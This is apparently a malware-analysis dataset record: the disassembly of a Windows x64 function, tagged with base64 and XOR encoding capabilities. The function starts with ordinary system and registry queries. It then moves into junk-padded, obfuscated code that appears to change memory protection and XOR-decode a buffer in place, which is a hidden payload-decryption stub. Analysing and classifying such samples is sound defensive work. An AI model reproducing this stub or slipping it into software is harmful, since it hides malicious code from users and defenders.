Function at 0x140007b40
Capabilities:
Encode data using base64
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0xd8
movaps xmmword [rsp + 0xc0], xmm6
mov r14d, r9d
mov r15, r8
mov r12, rdx
mov rsi, rcx
mov rax, qword [0x1400af118]
xor rax, rsp
mov qword [rsp + 0xb8], rax
mov dword [rcx], 0
mov qword [rcx + 0x20], 0
movaps xmm6, xmmword [0x140092810]
movups xmmword [rcx + 0x30], xmm6
mov byte [rcx + 0x20], 0
mov qword [rcx + 0x40], 0
movups xmmword [rcx + 0x50], xmm6
mov byte [rcx + 0x40], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x98], 0
lea rbx, [rsp + 0x98]
mov rcx, rax
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor ecx, ecx
cmp dword [rsp + 0x98], 0
setne cl
test eax, eax
mov eax, 2
cmovne eax, ecx
mov dword [rsi + 0x70], eax
mov qword [rsi + 0x78], 0
movups xmmword [rsi + 0x88], xmm6
mov byte [rsi + 0x78], 0
mov eax, dword [r12 + 4]
mov dword [rsi + 4], eax
mov eax, dword [r12 + 8]
mov dword [rsi + 8], eax
mov eax, dword [r12 + 0xc]
mov dword [rsi + 0xc], eax
mov dword [rsp + 0x64], 0
mov qword [rsp + 0x98], 0
movaps xmm0, xmmword [0x140092950]
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], 7
mov word [rsp + 0x98], 0
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [0x140092800]
movaps xmmword [rsp + 0x40], xmm0
lea rdi, [rsp + 0x40]
mov rcx, rdi
call fcn.14001bab0
lea r8, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, rdi
mov rdx, 0xffffffff80000002
mov r9d, 1
call fcn.14001bad0
test eax, eax
je 0x140007b22
xor eax, eax
jmp 0x140007b70
lea rdx, [0x140092dfa]
lea rdi, [rsp + 0x40]
lea r8, [rsp + 0x64]
mov rcx, rdi
call fcn.14001bba0
lea rdx, [0x101492e02]
shl rsi, 0x1e
xor r13, r13
add r15, 0xa0
mov r10, qword [rsp + r13]
shl rdi, 0x31
mov r15, 0x165e2333
cmp rdi, rbx
mov r12, 0x16587c0b
or r11, 0x8f
xor r15, r12
sub rbx, 0x31
out 0x48, eax
sub ebx, 0x31
sub r10, r15
xchg r13, rbx
mov r15, 0xfd4b935
test r14, rbx
mov rsi, 0xfdc4f6d
xor r12, rdi
xor r15, rsi
shl rax, 0x3d
add r15, r10
mov r14, r11
mov rax, qword [r15]
rol r12, 0x30
mov r13, 0x558a3d33
shr r11, 0xb
mov rbx, 0x559b28e3
xorps xmm8, xmm4
xor r13, rbx
subps xmm13, xmm4
add r13, r10
ror rbx, 1
mov rsi, 0x26f4b076
sub r10, 0xbf
mov r14, 0x26f418af
nop
xor rsi, r14
dec r12
mov rbx, 0x34
sub r11, 0xf3
mov r10, 0x30
shl r14, 0x33
xor rbx, r10
or r11, rdi
push r13
xor rdi, r15
push rsi
or r10, r15
push rax
nop
sub rsp, 0x20
shr r11, 0x3f
mov rcx, r13
xor r10, 0xdf
mov rdx, rsi
xor r14, r12
mov r8, rbx
test r12, rdi
lea r9, [rsp]
and r15, r13
call rax
shl r12, 6
add rsp, 0x20
dec rax
pop r10
lea rdi, [rdi + 0x98]
pop rsi
subps xmm1, xmm6
pop r13
and rbx, r15
xor rdi, rdi
shl r14, 0x2a
lea r15, [r13 + rdi]
inc r11
mov r14b, byte [r15]
shl r11, 0x14
xor r14b, 0x6d
and rax, 0x41
add r14b, 0xac
pop rbx
mov r12, rbx
push r12
mov byte [r15], r14b
xchg r12, r11
inc rdi
lea rbx, [rbx + 2]
cmp rdi, rsi
lea rax, [rax + 0x71]
jne 0x140007c57
and rax, rbx
mov r15, 0x73
mov rax, r12
mov r14, 0x53
shr rax, 0x14
xor r15, r14
xor rdi, 0xd9
push r13
or r14, 0xfe
sub rsp, 0x20
lea r12, [r12 + 0xe9]
mov rcx, r13
mov r14, r12
mov rdx, rsi
addps xmm12, xmm7
mov r8, r15
subps xmm8, xmm11
lea r9, [rsp]
mov r15, 7
call r10
nop
add rsp, 0x20
mov r10, 0xa9
ret